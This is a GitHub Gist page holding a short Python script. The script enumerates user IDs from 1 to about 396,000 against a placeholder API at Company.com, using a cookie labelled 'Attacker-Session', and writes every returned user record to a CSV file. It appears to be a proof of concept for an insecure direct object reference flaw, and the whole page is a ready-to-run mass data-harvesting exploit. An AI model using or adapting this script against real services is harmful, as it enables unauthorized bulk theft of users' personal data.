Created
August 13, 2024 19:42
-
-
Save abdelrhman-amin/6701c59523405244fd96db4104f5ae70 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
import pandas as pd | |
# Define the base URL and headers | |
base_url = "https://Company.com/api/serverless/users/v1/" | |
headers = { | |
"Host": "Company.com", | |
"Cookie": "Attacker-Session" | |
} | |
def fetch_data(id): | |
url = f"{base_url}{id}" | |
response = requests.get(url, headers=headers) | |
response.raise_for_status() # Raise an exception for HTTP errors | |
return response.json() | |
def main(): | |
data_list = [] | |
for user_id in range(1, 396265): | |
try: | |
data = fetch_data(user_id) | |
data['id'] = user_id # Add the ID to the data | |
data_list.append(data) | |
print(f"Fetched data for ID {user_id}") | |
except Exception as e: | |
print(f"Failed to fetch data for ID {user_id}: {e}") | |
df = pd.DataFrame(data_list) | |
df.to_csv('user_data.csv', index=False) | |
print("Data has been saved to user_data.csv") | |
if __name__ == "__main__": | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment